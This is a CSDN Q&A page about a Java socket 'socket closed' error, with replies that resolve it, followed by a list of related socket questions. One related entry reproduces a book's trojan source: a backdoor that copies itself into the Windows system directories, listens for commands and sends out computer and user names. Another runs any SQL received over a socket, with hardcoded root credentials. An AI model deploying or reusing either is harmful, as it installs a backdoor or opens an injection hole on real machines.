socket编程发送消息出现socket closed求大神,急

import java.io.DataInputStream;
import java.io.EOFException;
import java.io.IOException;

import java.net.ServerSocket;
import java.net.Socket;

public class Server {

ServerSocket ss;
Socket  s ; 
Clients clients;
DataInputStream dis;

boolean startServer = false;

public void startServer(){


    try {
        ss   = new ServerSocket(8888);//8888是TCP端口号
        startServer = true;
        while(startServer){

             s = ss.accept();
            System.out.println(" connected!");

             clients = new Clients(s);
            new Thread(clients).start();    
        }
    }catch(IOException e){
        e.printStackTrace();
}finally{
    try {
        ss.close();
    } catch (IOException e) {
        e.printStackTrace();
    }
}

}
public static void main(String[] args) {

    new Server().startServer();
}

}

class Clients implements Runnable{//包装类,把外部连接的client包装

private Socket s;
private boolean isConnected = false ;
private DataInputStream dis;


public Clients(Socket s) {

    this.s = s;

    try {
        isConnected = true;
        dis = new DataInputStream(s.getInputStream());
    } catch (IOException e) {
        e.printStackTrace();
    }
}

@Override
public void run() {

    while(isConnected){

        try {
            String str = dis.readUTF();//阻塞:它会一直等待

System.out.println(str);
} catch (EOFException e){
System.out.println("Client is closed!");
}catch (IOException e1) {
e1.printStackTrace();
}finally{
try {
if(dis!=null)
{
dis.close();
}else{
;
}
if(s!=null)
{
s.close();
}else{
;
}
} catch (IOException e) {
e.printStackTrace();
}

}

    }   
}

}

import java.io.DataOutputStream;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.Scanner;

public class Client {

Socket s;
PrintWriter pw;
DataOutputStream dos;
String line = "";
Scanner reader = new Scanner(System.in);

public void startClient(){

    try {
        s  = new Socket("127.0.0.1", 8888);

        dos = new DataOutputStream(s.getOutputStream());
        System.out.println("connected");
        do{
            System.out.print("please input:");

            line = reader.next();
            dos.writeUTF(line);
            dos.flush();

        }while(!line.equals("bye"));

            dos.close();
            s.close();

    } catch (UnknownHostException e) {
        e.printStackTrace();
    } catch (IOException e) {
        e.printStackTrace();
    }
}
public static void main(String[] args) {

    new Client().startClient();
}

}

java.net.SocketException: socket closed
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.read(Unknown Source)
at java.net.SocketInputStream.read(Unknown Source)
at java.net.SocketInputStream.read(Unknown Source)
at java.io.DataInputStream.readUnsignedShort(Unknown Source)
at java.io.DataInputStream.readUTF(Unknown Source)
at java.io.DataInputStream.readUTF(Unknown Source)
at Clients.run(Server.java:75)
at java.lang.Thread.run(Unknown Source)

3个回答

socket closed,是不是你访问的服务端关闭了,或者被防火墙等拦截禁止你访问
或者你的服务端程序直接出错退出了

发现了问题,是在while循环那里大括号扩大了范围。
然而新的问题出现了,我开了两个客户端,在控制台输入一个字符串时两个客户端都会有显示。不知道为什么

你的客户端监测的是同一个输入--System.in

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
关于windows下socket编程的recv函数
Talk is cheap,show me the code. do{ # memset(buf, 0, BUFSIZ); # strLen = recv(reads.fd_array[i], buf, BUFSIZ - 1, 0); if (strLen == 0 || strLen == -1){ FD_CLR(reads.fd_array[i], &reads); closesocket(cpyReads.fd_array[i]); printf("closed client:%d \n", cpyReads.fd_array[i]); } else{ printf("From %d : %s", cpyReads.fd_array[i], buf); //send(reads.fd_array[i], buf, strLen, 0); } # } while (strLen==BUFSIZ-1); 我设置的BUFSIZ 是10 我在调用recv函数来取客户端发过来的数据时,如果收到的数据长度大于我设置的缓冲大小也就是BUFSIZ 比如发过来的是10个字符 , 那么do while 循环会循环两次,如果我发送过来的正好是9个字符 , 为啥只循环了一次呢。我调试看到 strLen 明明等于BUFSIZ-1 的 , 于是在上面的memset处加的断点,才知道确实是循环了两次, 可是执行到 recv函数的时候 整个循环直接跳出来了,不太明白这里,求大神讲解一下,站等。。。
android 蓝牙 socket.cnnect() 异常
蓝牙设备系统可以连上,但是写的demo程序里两种连接方式都连接失败 1、btSocket = btDev .createRfcommSocketToServiceRecord(uuid); btSocket.connect(); 2、 btSocket =(BluetoothSocket) btDev.getClass().getMethod("createRfcommSocket", new Class[] {int.class}).invoke(btDev,1); btSocket.connect(); 两种连接方式都试过了都报 java.IOException:read failed,socket might closed or timeout.read ret:-1 有人说UUID更换可以解决 试着换了两个: "00001124-0000-1000-8000-00805F9B34FB" "00001125-0000-1000-8000-00805F9B34FB" "00001101-0000-1000-8000-00805F9B34FB"未果 求大神帮忙
关于把socket数据写入数据库的问题
我的思路是这样的,之前的想法是:把接收过来的socket数据,充当sql的字段属性变量,来实现数据写入功能。但是几经波折,发现难题攻克不了。现在,我换了另外一种思路:事先把数据库的插入数据命令写在socket里面,到了python直接执行接收到的插入命令就完成写入的操作。具体代码如下:运行没有报错,但是写入也不成功。求各路大神指导一下(Ps: 然后,我发送:"""INSERT money(name,account, saving, expend, income) VALUES ('aaa', '111', '222', '222', '2000')""" 这段数据,python就写入数据。 ) import socket import time import pymysql host = '' port = 80 bufsize = 1024 addr = (host, port) # host设定为空,表示可以与任何ip的socket在端口51423通信 # 设置socket,AF_INET表示是IPV4标准,SOCK_STREAM是TCP传输协议 tcpSerSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tcpSerSock.bind(addr) tcpSerSock.listen(1) quit = False shutdown = False while True: print('等待数据中...') tcpCliSock, addr = tcpSerSock.accept() # 不断监听获取新的客户端连接 print('数据来自:', addr) db = pymysql.connect("localhost", "root", "000000", "money")#连接数据库 cursor = db.cursor()#获取光标 while True: # 与客户端建立连接之后,获取客户端传来的数据 data = tcpCliSock.recv(bufsize) data = data.decode('gbk') sql = data #把接收到的数据(已经写好的插入命令模板)复制给sql try: # 执行sql语句 cursor.execute(sql) # 提交到数据库执行 db.commit() except: db.rollback() if not sql: break ss = '[%s] %s' % (time.ctime(), data) tcpCliSock.sendall(ss.encode('gbk')) print(ss) if data == 'bye': quit = True break elif data == 'shutdown': shutdown = True break print('Bye-bye:[%s:%d]' % (addr[0], addr[1])) tcpCliSock.close() if shutdown: break tcpSerSock.close() print('Server has been closed') ``` ```
求大神们解答!!!解决了好久还是解决不了。
使用db2时报错: 2016-10-12 12:56:22,388-[SL] DEBUG localhost-startStop-1 druid.sql.Statement - {conn-10047, stmt-20046} closed 2016-10-12 12:56:22,396-[SL] ERROR localhost-startStop-1 com.alibaba.druid.pool.DruidDataSource - init datasource error, url: jdbc:db2://192.168.1.10:50000/TEST com.ibm.db2.jcc.am.ro: [jcc][t4][2030][11211][4.8.87] 在对连接的底层 socket、socket input stream 或 socket output stream 执行操作期间 发生通信错误。错误位置:Reply.fill()。消息:Connection reset。 ERRORCODE=-4499, SQLSTATE=08001 at com.ibm.db2.jcc.am.gd.a(gd.java:319) at com.ibm.db2.jcc.t4.a.a(a.java:416) at com.ibm.db2.jcc.t4.a.a(a.java:411) at com.ibm.db2.jcc.t4.cb.b(cb.java:205) at com.ibm.db2.jcc.t4.cb.c(cb.java:249) at com.ibm.db2.jcc.t4.cb.c(cb.java:360)
python监听器的问题,求大神指教
python监听到客户端的请求之后,主动do_Post发送一条请求给客户端,收到客户端的请求之后将客户端的应答结果打包给源请求返回去 返回原请求的代码如下 if not self.wfile.closed: self.send_response(200) if not self.wfile.closed: print (strs) self.send_header("Content-Length", str(len(strs))) self.end_headers() self.wfile.write(strs) strs是一个网页内容,报错如下 ---------------------------------------- Exception happened during processing of request from ('127.0.0.1', 18521) Traceback (most recent call last): File "D:\Install\Python27\lib\SocketServer.py", line 284, in _handle_request_noblock self.process_request(request, client_address) File "D:\Install\Python27\lib\SocketServer.py", line 310, in process_request self.finish_request(request, client_address) File "D:\Install\Python27\lib\SocketServer.py", line 323, in finish_request self.RequestHandlerClass(request, client_address, self) File "D:\Install\Python27\lib\SocketServer.py", line 639, in __init__ self.handle() File "D:\Install\Python27\lib\BaseHTTPServer.py", line 343, in handle self.handle_one_request() File "D:\Install\Python27\lib\BaseHTTPServer.py", line 331, in handle_one_request method() File "D:\javaProject\hftx\httpserver2_hftx.py", line 47, in do_POST self.wfile.write(strs) File "D:\Install\Python27\lib\socket.py", line 316, in write data = str(data) # XXX Should really reject non-string non-buffers UnicodeEncodeError: 'ascii' codec can't encode characters in position 136-137: ordinal not in range(128) 求大神指教
JAVA代理服务器,用浏览器打开的时候显示的网页信息总是不全,有时候显示不出来,求大神帮我看看
package work; import java.io.*; import java.net.*; public class MMProxy extends Thread { static public int CONNECT_RETRIES = 5; //尝试与目标主机连接次数 static public int CONNECT_PAUSE = 5; //每次建立连接的间隔时间 static public int TIME_OUT = 50;//每次尝试连接的最大时间 static public int BUFSIZ = 4096; //缓冲区最大字节数 protected static Socket csocket;//与客户端相连的socket public MMProxy(Socket cs) { csocket = cs; start(); } public void run() { String buffer = "";//请求头 String host = "";//目标主机IP地址 String URL = "";//请求URL int port = 8080; Socket ssocket = null;//套接字 InputStream cinput = null, sinput = null;//cinput为客户输入流,sinput为服务器输入流 OutputStream coutput = null, soutput = null;//coutput为客户输出流,soutput服务器输出流 try {//服务器监听客户端的套接字 csocket.setSoTimeout(TIME_OUT);//超过了50则返回一个异常 cinput = csocket.getInputStream(); coutput = csocket.getOutputStream(); while (true) {//服务端读来自客户端的输入流 int c = cinput.read(); if (c == -1) { break;//-1为结尾标志 } if (c == '\r' || c == '\n') { break; } buffer = buffer + (char) c;//读取第一行的数据 } URL = getRequestURL(buffer); int n; n = URL.indexOf("//");//找到URL中“//”的位置 if (n != -1) { host = URL.substring(n + 2); } n = host.indexOf("/"); if (n != -1) { host = host.substring(0, n);//抽取host } n = host.indexOf(":");//分析端口号 if (n != -1) { port = Integer.parseInt(host.substring(n + 1)); host = host.substring(0, n); } int tetry = CONNECT_RETRIES; while (tetry-- != 0) {//尝试与目标主机建立连接 try { ssocket = new Socket(host, port); break; } catch (Exception e) { } Thread.sleep(CONNECT_PAUSE);//等待 } if (ssocket != null) { ssocket.setSoTimeout(TIME_OUT); sinput = ssocket.getInputStream(); soutput = ssocket.getOutputStream(); soutput.write(buffer.getBytes()); System.out.println(buffer); pipe(cinput, sinput, coutput, soutput);//pipe在两个socket之间进行读写 //SocketAddress address=new InetSocketAddress("192.168.0.1",8080); //Proxy proxy=new Proxy(Proxy.Type.HTTP,address); //URL pageUrl=new URL(host); //HttpURLConnection httpUrlConn = (HttpURLConnection)pageUrl.openConnection(proxy); } } catch (Exception e) { e.printStackTrace(); } finally { try { csocket.close(); cinput.close(); coutput.close(); } catch (Exception e1) { System.out.println("\nClient Socket Closed Exception:"); e1.printStackTrace(); } try { ssocket.close(); sinput.close(); soutput.close(); } catch (Exception e2) { System.out.println("\nServer Socket Closed Exception:"); e2.printStackTrace(); } } } public String getRequestURL(String buffer) {//读取URL第一行 String[] tokens = buffer.split(" "); String URL = ""; for (int i = 0; i < tokens.length; i++) { if (tokens[i].startsWith("http://")) { URL = tokens[i]; break; } } return URL; } public void pipe(InputStream cinput, InputStream sinput, OutputStream coutput, OutputStream soutput) {//主机与代理服务器的数据通道 try { int length; byte bytes[] = new byte[BUFSIZ]; while (true) { try { while ((length = cinput.read(bytes)) > 0) { soutput.write(bytes, 0, length); } //else if(length<0)break; } catch (SocketTimeoutException e) { } catch (InterruptedIOException e) { System.out.println("\nRequest Exception:"); e.printStackTrace(); } try { while ((length = sinput.read(bytes)) > 0) { coutput.write(bytes, 0, length); } //else if (length<0) ; // break; } catch (SocketTimeoutException e) { } catch (InterruptedIOException e) { System.out.println("\nResponse Exception:"); e.printStackTrace(); } } } catch (Exception e0) { System.out.println("Pipe异常: " + e0); } } public static void main(String args[]) { try { ServerSocket ssock = new ServerSocket(8080);//监听端口8080 while (true) { Socket lsocket = ssock.accept();//使sever端处于等待状态,直到接受来自客户端的请求,并返回一个与客户通信的socket对象 new MMProxy(lsocket);//.start();//从请求中取出连接,这时已经建立好了与客户端的双向连接 } } catch (IOException e) { e.printStackTrace(); } } }
HMaster每天都自动挂掉,求大神指点
最近遇到一个比较头疼的问题,HBase每天都会自动挂掉一次,时间大概在5:30-5:45之间,做了几种尝试 1. 检查host配置。 2. 检查时钟同步。 3. 设置会话超时时间为60s #####HMaster的出错日志如下:##### ``` 2015-09-21 05:32:20,463 INFO [main-SendThread(132.37.5.197:29184)] zookeeper.ClientCnxn: Socket connection established to 132.37.5.197/132.37.5.197:29184, initiating session 2015-09-21 05:32:20,465 FATAL [main-EventThread] master.HMaster: Master server abort: loaded coprocessors are: [] 2015-09-21 05:32:20,465 INFO [main-SendThread(132.37.5.197:29184)] zookeeper.ClientCnxn: Unable to reconnect to ZooKeeper service, session 0x24f1f7bb79103a9 has expired, closing socket connection 2015-09-21 05:32:20,465 FATAL [main-EventThread] master.HMaster: master:60900-0x24f1f7bb79103a9, quorum=132.37.5.196:29184,132.37.5.195:29184,132.37.5.197:29184, baseZNode=/hbase master:60900-0x24f1f7bb79103a9 received expired from ZooKeeper, aborting org.apache.zookeeper.KeeperException$SessionExpiredException: KeeperErrorCode = Session expired at org.apache.hadoop.hbase.zookeeper.ZooKeeperWatcher.connectionEvent(ZooKeeperWatcher.java:417) at org.apache.hadoop.hbase.zookeeper.ZooKeeperWatcher.process(ZooKeeperWatcher.java:328) at org.apache.zookeeper.ClientCnxn$EventThread.processEvent(ClientCnxn.java:522) at org.apache.zookeeper.ClientCnxn$EventThread.run(ClientCnxn.java:498) 2015-09-21 05:32:20,466 INFO [main-EventThread] regionserver.HRegionServer: STOPPED: master:60900-0x24f1f7bb79103a9, quorum=132.37.5.196:29184,132.37.5.195:29184,132.37.5.197:29184, baseZNode=/hbase master:60900-0x24f1f7bb79103a9 received expired from ZooKeeper, aborting 2015-09-21 05:32:20,466 INFO [main-EventThread] zookeeper.ClientCnxn: EventThread shut down 2015-09-21 05:32:20,466 INFO [master/pkgtstdb2/132.37.5.194:60900] regionserver.HRegionServer: Stopping infoServer 2015-09-21 05:32:20,468 INFO [master/pkgtstdb2/132.37.5.194:60900] mortbay.log: Stopped SelectChannelConnector@0.0.0.0:60910 2015-09-21 05:32:20,570 INFO [master/pkgtstdb2/132.37.5.194:60900] regionserver.HRegionServer: stopping server pkgtstdb2,60900,1442548707194 2015-09-21 05:32:20,570 INFO [master/pkgtstdb2/132.37.5.194:60900] client.ConnectionManager$HConnectionImplementation: Closing master protocol: MasterService 2015-09-21 05:32:20,570 INFO [master/pkgtstdb2/132.37.5.194:60900] client.ConnectionManager$HConnectionImplementation: Closing zookeeper sessionid=0x24f1f7bb79103ad 2015-09-21 05:32:20,572 INFO [master/pkgtstdb2/132.37.5.194:60900] zookeeper.ZooKeeper: Session: 0x24f1f7bb79103ad closed 2015-09-21 05:32:20,573 INFO [master/pkgtstdb2/132.37.5.194:60900-EventThread] zookeeper.ClientCnxn: EventThread shut down 2015-09-21 05:32:20,573 INFO [master/pkgtstdb2/132.37.5.194:60900] regionserver.HRegionServer: stopping server pkgtstdb2,60900,1442548707194; all regions closed. 2015-09-21 05:32:20,573 INFO [CatalogJanitor-pkgtstdb2:60900] master.CatalogJanitor: CatalogJanitor-pkgtstdb2:60900 exiting 2015-09-21 05:32:20,574 WARN [master/pkgtstdb2/132.37.5.194:60900] zookeeper.RecoverableZooKeeper: Possibly transient ZooKeeper, quorum=132.37.5.196:29184,132.37.5.195:29184,132.37.5.197:29184, exception=org.apache.zookeeper.KeeperException$SessionExpiredException: KeeperErrorCode = Session expired for /hbase/master 2015-09-21 05:32:20,574 INFO [pkgtstdb2:60900.oldLogCleaner] cleaner.LogCleaner: pkgtstdb2:60900.oldLogCleaner exiting ``` HBase的配置文件如下: ``` <configuration> <property> <name>hbase.rootdir</name> <value>hdfs://gxuweg3tst2:8920/wa</value> </property> <property> <name>hbase.master.port</name> <value>60900</value> <description>The port the HBase Master should bind to.</description> </property> <property> <name>hbase.cluster.distributed</name> <value>true</value> <description>The mode the cluster will be in. Possible values are false for standalone mode and true for distributed mode. If false, startup will run all HBase and ZooKeeper daemons together in the one JVM. </description> </property> <property> <name>hbase.tmp.dir</name> <!-- <value>/tmp/hbase-${user.name}</value> --> <value>/uniiof/users/devdpp01/hbase/tmp</value> <description>Temporary directory on the local filesystem. Change this setting to point to a location more permanent than '/tmp' (The '/tmp' directory is often cleared on machine restart). </description> </property> <property> <name>hbase.master.info.port</name> <value>60910</value> <description>The port for the HBase Master web UI. Set to -1 if you do not want a UI instance run. </description> </property> <property> <name>hbase.regionserver.port</name> <value>60920</value> <description>The port the HBase RegionServer binds to. </description> </property> <property> <name>hbase.regionserver.info.port</name> <value>60930</value> <description>The port for the HBase RegionServer web UI Set to -1 if you do not want the RegionServer UI to run. </description> </property> <!-- The following three properties are used together to create the list of host:peer_port:leader_port quorum servers for ZooKeeper. --> <property> <name>hbase.zookeeper.quorum</name> <value>132.37.5.195,132.37.5.196,132.37.5.197</value> <description>Comma separated list of servers in the ZooKeeper Quorum. For example, "host1.mydomain.com,host2.mydomain.com,host3.mydomain.com". By default this is set to localhost for local and pseudo-distributed modes of operation. For a fully-distributed setup, this should be set to a full list of ZooKeeper quorum servers. If HBASE_MANAGES_ZK is set in hbase-env.sh this is the list of servers which we will start/stop ZooKeeper on. </description> </property> <property> <name>hbase.zookeeper.peerport</name> <value>29888</value> <description>Port used by ZooKeeper peers to talk to each other. See http://hadoop.apache.org/zookeeper/docs/r3.1.1/zookeeperStarted.html#sc_RunningReplicatedZoo Keeper for more information. </description> </property> <property> <name>hbase.zookeeper.leaderport</name> <value>39888</value> <description>Port used by ZooKeeper for leader election. See http://hadoop.apache.org/zookeeper/docs/r3.1.1/zookeeperStarted.html#sc_RunningReplicatedZoo Keeper for more information. </description> </property> <!-- End of properties used to generate ZooKeeper host:port quorum list. --> <property> <name>hbase.zookeeper.property.clientPort</name> <value>29184</value> <description>Property from ZooKeeper's config zoo.cfg. The port at which the clients will connect. </description> </property> <!-- End of properties that are directly mapped from ZooKeeper's zoo.cfg --> <property> <name>hbase.rest.port</name> <value>8980</value> <description>The port for the HBase REST server.</description> </property> </configuration> ```
用VC编写socket木马的问题
下面的是某一本书上我看到的代码 服务器端代码如下: // easyDoor.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <winsock2.h> #include <Mmsystem.h> #include <stdio.h> #pragma comment (lib, "Winmm") #pragma comment (lib, "ws2_32") #define HELPMSG "help - Show Help Menu \r\n" \ "getsysinfo - Get SysTem Information" \ "open - Open The CDRom \r\n" \ "close - Close The CDRom \r\n" \ "swap - Swap Mouse Button \r\n" \ "restore - Restore Mouse Button \r\n" \ "exit - Quit BdShell" #define NAME_LEN 20 typedef struct _SYS_INFO { OSVERSIONINFO OsVer; // 保存操作系统信息 char szComputerName[NAME_LEN]; // 保存计算机名 char szUserName[NAME_LEN]; // 保存当前登录名 }SYS_INFO, *PSYS_INFO; void GetSysInfo(PSYS_INFO SysInfo) { unsigned long nSize = MAXBYTE; SysInfo->OsVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&SysInfo->OsVer); GetComputerName(SysInfo->szComputerName, &nSize); nSize = MAXBYTE; GetUserName(SysInfo->szUserName, &nSize); } VOID SetCdaudio(BOOL bOpen) { if ( bOpen ) { // 打开光驱 mciSendString("set cdaudio door open", NULL, NULL, NULL); } else { // 关闭光驱 mciSendString("set cdaudio door closed", NULL, NULL, NULL); } } VOID SetMouseButton(BOOL bSwap) { if ( bSwap) { // 交换 SwapMouseButton(TRUE); } else { // 恢复 SwapMouseButton(FALSE); } } BOOL Dispatch(SOCKET sock, char *szCmd) { BOOL bRet = FALSE; // 根据不同的命令,完成不同功能 if ( !strcmp(szCmd, "help") ) { send(sock, HELPMSG, strlen(HELPMSG) + sizeof(char), 0); bRet = TRUE; } else if ( !strcmp(szCmd, "getsysinfo")) { SYS_INFO SysInfo = { 0 }; GetSysInfo(&SysInfo); int n = send(sock, (const char *)&SysInfo, sizeof(SYS_INFO), 0); bRet = TRUE; } else if ( !strcmp(szCmd, "open") ) { SetCdaudio(TRUE); bRet = TRUE; } else if ( !strcmp(szCmd, "close") ) { SetCdaudio(FALSE); bRet = TRUE; } else if ( !strcmp(szCmd, "swap") ) { SetMouseButton(TRUE); bRet = TRUE; } else if ( !strcmp(szCmd, "restore") ) { SetMouseButton(FALSE); bRet = TRUE; } return bRet; } void CopySelf() { // 保存自身程序的路径 char szSelfName[MAX_PATH] = { 0 }; // 保存Windows目录的路径 char szWindowsPath[MAX_PATH] = { 0 }; // 保存系统目录的路径 char szSystemPath[MAX_PATH] = { 0 }; // 临时路径变量 char szTmpPath[MAX_PATH] = { 0 }; GetModuleFileName(NULL, szSelfName, MAX_PATH); GetWindowsDirectory(szWindowsPath, MAX_PATH); GetSystemDirectory(szSystemPath, MAX_PATH); strcat(szWindowsPath, "\\backdoor.exe"); strcat(szSystemPath, "\\backdoor.exe"); CopyFile(szSelfName, szWindowsPath, FALSE); CopyFile(szSelfName, szSystemPath, FALSE); } int main(int argc, char* argv[]) { // 拷贝自身到wnidows目录和系统目录 CopySelf(); WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); SOCKET ServerSock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in serveraddr; serveraddr.sin_family = PF_INET; serveraddr.sin_addr.S_un.S_addr = inet_addr("192.168.189.128"); serveraddr.sin_port = htons(827); bind(ServerSock, (SOCKADDR*)&serveraddr, sizeof(sockaddr_in)); listen(ServerSock, 1); printf("Listen ... \r\n"); sockaddr_in clientaddr; SOCKET clientSock; int len = sizeof(sockaddr_in); clientSock = accept(ServerSock, (SOCKADDR*)&clientaddr, &len); printf("connected host info: \r\n"); printf("Client ip : %s \r\n", inet_ntoa(clientaddr.sin_addr)); printf("Client port : %d \r\n", ntohs(clientaddr.sin_port)); while ( TRUE ) { // 发送一个命令提示 send(clientSock, "BdShell>", strlen("BdShell>") +sizeof(char), 0); char buff[MAXBYTE] = { 0 }; // 接收客户端发来的命令 recv(clientSock, buff, MAXBYTE, 0); if ( !strcmp(buff, "exit") ) { break; } // 分发命令 BOOL bRet = Dispatch(clientSock, buff); if ( bRet == FALSE ) { send(clientSock, "Command Unsuccessfully!", strlen("Command Unsuccessfully!") + sizeof(char), 0); } } closesocket(clientSock); closesocket(ServerSock); WSACleanup(); return 0; } 客户端代码如下: // easyDoorClient.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <winsock2.h> #include <stdio.h> #include <conio.h> #pragma comment (lib, "ws2_32") #define NAME_LEN 20 typedef struct _SYS_INFO { OSVERSIONINFO OsVer; // 保存操作系统信息 char szComputerName[NAME_LEN]; // 保存计算机名 char szUserName[NAME_LEN]; // 保存当前登录名 }SYS_INFO, *PSYS_INFO; VOID ShowSysInfo(PSYS_INFO SysInfo) { if ( SysInfo->OsVer.dwPlatformId == VER_PLATFORM_WIN32_NT ) { if ( SysInfo->OsVer.dwMajorVersion == 5 && SysInfo->OsVer.dwMinorVersion == 1 ) { printf("Windows XP %s \r\n", SysInfo->OsVer.szCSDVersion); } else if ( SysInfo->OsVer.dwMajorVersion == 5 && SysInfo->OsVer.dwMinorVersion == 0) { printf("Windows 2K \r\n"); } } else { printf("Ohter System \r\n"); } printf("Computer Name is %s \r\n", SysInfo->szComputerName); printf("User Name is %s \r\n", SysInfo->szUserName); } int main(int argc, char* argv[]) { WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); SOCKET ClientSock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in ServerAddr; ServerAddr.sin_family = PF_INET; ServerAddr.sin_addr.S_un.S_addr = inet_addr("192.168.189.128"); ServerAddr.sin_port = htons(827); connect(ClientSock, (SOCKADDR*)&ServerAddr, sizeof(SOCKADDR)); while ( TRUE ) { char Buff[MAXBYTE] = { 0 }; char Cmd[MAXBYTE] = { 0 }; recv(ClientSock, Buff, MAXBYTE, 0); printf("%s", Buff); scanf("%s", Cmd); send(ClientSock, Cmd, MAXBYTE, 0); if ( !strcmp(Cmd, "exit") ) { printf("Login out ! \r\n"); break; } memset(Buff, 0, MAXBYTE); recv(ClientSock, Buff, MAXBYTE, 0); if ( !strcmp(Cmd, "getsysinfo")) { PSYS_INFO SysInfo = (PSYS_INFO)Buff; ShowSysInfo(SysInfo); } else { printf("%s \r\n", Buff); } } getch(); WSACleanup(); return 0; } 这个程序是一个简单的木马,可以打开关闭光驱,交换与恢复鼠标左右键功能。由于本人还是socket编程菜鸟一枚,特请教如何运行的时候显示出这些功能?在电脑里同时运行客户端和服务器的debug中的exe文件么?为什么这个代码的功能没能实现?是代码错了么?有大神帮忙解释一下的话非常感谢!!!
请问socket 我的accept() 为什么出错了?
望大神指点迷津 服务端: ``` #include<stdio.h> #include<stdlib.h> #include<string.h> #include<sys/types.h> #include<sys/socket.h> #include<netinet/in.h> #include<arpa/inet.h> //#include<mysql/mysql.h> #define server_port 5000 #define MAXPENDING 1000 struct USERDATA { char name[30]; char passwd[30]; }USERDATA; int HandleTCPClient(int clntSocket,struct USERDATA *userdata); int HandleTCPClient(int clntSocket,struct USERDATA *userdata) { char buffer[BUFSIZ]; ssize_t numBytesRcvd = recv(clntSocket,buffer,BUFSIZ-1,0); if(numBytesRcvd < 0) { fputs("recv() failed!\n",stderr); // send(clntSocket,"false",(size_t)strlen("false"),0); return -1; } memcpy(userdata,buffer,sizeof(buffer)); return 0; } void main() { int servSock; if((servSock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0) { printf("socket() failed!\n"); exit(1); } struct sockaddr_in servAddr; memset(&servAddr,0,sizeof(servAddr)) ; servAddr.sin_family = AF_INET; servAddr.sin_addr.s_addr = htonl(INADDR_ANY); servAddr.sin_port = htons(server_port); if(bind(servSock,(struct sockaddr *)&servAddr,sizeof(servAddr)) <0) { printf("bind() failed!\n"); exit(1); } if(listen(servSock,MAXPENDING) < 0) { printf("listen() failed!\n"); exit(1); } for(;;) { struct sockaddr_in clntAddr; socklen_t clntAddrLen = sizeof(clntAddr); int clntSock = accept(servSock,(struct sockaddr *)&clntAddr,&clntAddrLen); if(clntSock < 0) { fputs("accpet() failed!\n",stderr); continue; } char clntName[INET_ADDRSTRLEN]; if(inet_ntop(AF_INET,&clntAddr.sin_addr.s_addr,clntName,sizeof(clntName)) == NULL) fputs("Unable to get client address!\n",stderr); struct USERDATA userdata; int result = HandleTCPClient(clntSock,&userdata); if(result < 0) { // send(clntSock,"false",(size_t)strlen("false"),0); close(clntSock); } else { // send(clntSock,"true",(size_t)strlen("true"),0); close(clntSock); puts(userdata.name); puts(userdata.passwd); } } } ``` 客户端: ``` #include<stdio.h> #include<stdlib.h> #include<string.h> #include<unistd.h> #include<sys/types.h> #include<netinet/in.h> #include<arpa/inet.h> struct USERDATA { char name[30]; char passwd[30]; }; void DieWithUserMessage(const char *msg,const char *detail); void DieWithSystemMessage(const char *msg); void DieWithUserMessage(const char *msg,const char *detail){ fputs(msg,stderr); fputs(": ",stderr); fputs(detail,stderr); fputc('\n',stderr); exit(1); } void DieWithSystemMessage(const char *msg){ perror(msg); exit(1); } int main(){ char *servIP = "139.129.39.131"; in_port_t servPort = 5000; int sock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(sock < 0) DieWithSystemMessage("socket() failed!\n"); struct sockaddr_in servAddr; memset(&servAddr,0,sizeof(servAddr)); servAddr.sin_family = AF_INET; int rtnVal = inet_pton(AF_INET,servIP,&servAddr.sin_addr.s_addr); if(rtnVal == 0) DieWithUserMessage("inet_pton() failed!","invalid address string"); servAddr.sin_port = htons(servPort); if(connect(sock,(struct sockaddr *)&servAddr,sizeof(servAddr)) < 0) DieWithSystemMessage("connect() failed!\n"); struct USERDATA userdata; memcpy(userdata.name,"kakarot",sizeof("kakarot")); memcpy(userdata.passwd,"1235656",sizeof("1235656")); ssize_t numBytes = send(sock,(char *)&userdata,sizeof(userdata),0); if(numBytes < 0) DieWithSystemMessage("send() failed!\n"); else if(numBytes != sizeof(userdata)) DieWithUserMessage("send()","sent unexpected number of bytes"); //unsigned int totalBytesRcvd = 0; fputs("Received: ",stdout); char buffer[BUFSIZ]; /* numBytes = recv(sock,buffer,BUFSIZ -1,0); if(numBytes < 0) DieWithSystemMessage("recv() failed!\n"); else if(numBytes == 0) DieWithUserMessage("recv()","connection closed prematurely!"); fputc('\n',stdout); close(sock); exit(0); } ```
[新手]关于socket.io接收tcp服务器数据后转发给客户端的问题【一句话就能解决?】
如标题,接收到了tcp服务器的数据后,想转发给客户端。但是socket.io文档似乎没有这种方法。直接上代码。 服务器部分: **var express=require('express'); var app=express(); var fs =require('fs'); var net=require('net'); var http=require('http').createServer(app); var io=require('socket.io').listen(http); //nodeServer需要的变量 var nodeServer = new net.Socket(); var ExBuffer = require('./ExBuffer'); var len = 4027; var offset=4; var exBuffer = new ExBuffer().uint32Head().littleEndian(); var sbuf = new Buffer(4); //存储客户端的连接实例 var aSocket={}; app.use(express.static('public')); app.get('/',function(req,res){ res.sendfile(__dirname+'/index.html'); }); //连接到C服务器 nodeServer.connect(3102, '127.0.0.1', function() { console.log('CONNECTED TO: 127.0.0.1:3102' ); // 建立连接后立即向服务器发送数据,服务器将收到这些数据 nodeServer.write('your socket has connected'); }); var server = http.listen(8888, '127.0.0.1',function () { var host = server.address().address var port = server.address().port console.log("welcome to http://%s:%s", host, port) }); // 同客户端建立连接 io.sockets.on('connection', function (socketIO) { aSocket=socketIO; // 从客户端接收数据,然后发送至Tomcat socketIO.emit("test","your websocket has connected"); socketIO.on('fromWebClient', function (webClientData) { }); //客户端断开连接 socketIO.on('disconnect', function () { console.log('DISCONNECTED FROM CLIENT'); }); }); // 从C服务器接收数据 nodeServer.on('data', function (data) { if(data.readUInt8(0)==170){ sbuf.writeUInt32LE(len,0);//写入包长 